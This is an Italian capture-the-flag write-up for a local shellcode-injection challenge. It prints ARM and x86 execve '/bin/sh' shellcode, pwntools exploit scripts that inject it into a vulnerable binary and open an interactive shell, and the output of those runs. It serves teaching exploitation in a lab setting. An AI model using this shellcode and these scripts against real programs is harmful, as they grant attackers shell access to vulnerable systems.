Soluzione

In questa sfida vogliamo eseguire un attacco shellcode, quindi iniettare del codice per aprire la shell sfruttando gli opcode presenti nel disassembler della funzione attualmente in uso; queste però non possono contenere 0, altrimenti interpretati come caratteri nulli (per ovviare a questo problema si usano gli XOR tra registri di solito). Di più al link:
https://www.sentinelone.com/blog/malicious-input-how-hackers-use-shellcode/

In http://shell-storm.org/shellcode/ , come suggerito, è possibile trovare ciò che serve.

Letteralmente, basta eseguire un *curl* ad una delle varie opzioni presenti sulla pagine e prendere uno shellcode qualsiasi, ad esempio con:
curl https://shell-storm.org/shellcode/files/shellcode-904.html

```
char *SC =      "\x01\x30\x8f\xe2"
                "\x13\xff\x2f\xe1"
                "\x78\x46\x0e\x30"
                "\x01\x90\x49\x1a"
                "\x92\x1a\x08\x27"
                "\xc2\x51\x03\x37"
                "\x01\xdf\x2f\x62"
                "\x69\x6e\x2f\x2f"
                "\x73\x68";

int main(void)
{
    char payload[34];

    memcpy(payload, SC, 34);

    fprintf(stdout, "Length: %d\n", strlen(SC));
```

Altro modo: GDB Peda Shellcode

- Eseguire gdb peda → *gdb vuln*
- A questo punto, usare il comando *shellcode*. Esso ha una serie di parametri e si usa il comando *generate* per crearli (basta dare ad esempio *shellcode generate x86/linux exec* come si vede qui sotto per generare uno shellcode), utilizzabile poi nello script Python risolutivo usando *pwntools*.

```
gdb-peda$ shellcode generate
Available shellcodes:
    x86/linux exec
    x86/linux bindport
    x86/linux connect
    x86/bsd exec
    x86/bsd bindport
    x86/bsd connect

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
gdb-peda$
```

*from pwn import **
shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
p = process("./vuln")
p.sendline(shellcode)
p.interactive()

Non si richiede una flag sembra; basta solo eseguire correttamente un attacco *shellcode* e tutto funziona.

```
3_handly-shellcode$ python3 exploit.py
[!] Could not find executable 'vuln' in $PATH, using './vuln' instead
[+] Starting local process './vuln': pid 18642
/home/ubuntu/Downloads/Telegram Desktop/15Challenges/Challenges/3_handly
-shellcode/exploit.py:4: BytesWarning: Text is not bytes; assuming ISO-8
859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(shellcode)
[*] Switching to interactive mode
Enter your shellcode:
1\xc0Ph//shh/bin\x89\xe31
Thanks! Executing now...
[*] Got EOF while reading in interactive
```

Altro modo: Pwntools

Similmente, possiamo usare lo strumento *shellcraft*, già presente all'interno della libreria *pwntools*.

```
from pwn import *
context.binary = "./vuln"
p = process()
p.sendline(asm(shellcraft.sh()))
p.interactive()
```

```
3_handly-shellcode$ python3 solution.py
[*] '/home/ubuntu/Downloads/Telegram Desktop/15Challenges/Challeng
andly-shellcode/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/ubuntu/Downloads/Telegram Desktc
allenges/Challenges/3_handly-shellcode/vuln': pid 18184
[*] Switching to interactive mode
Enter your shellcode:
jhh///sh/bin\x89\xe3h\x814$ri1\xc9Qj\x04\xe1Q\x89\xe11\xd2j\x0b
Thanks! Executing now...
```

Altro buon riferimento per creare shellcode basato sugli opcode del programma:
https://www.exploit-db.com/docs/english/21013-shellcoding-in-linux.pdf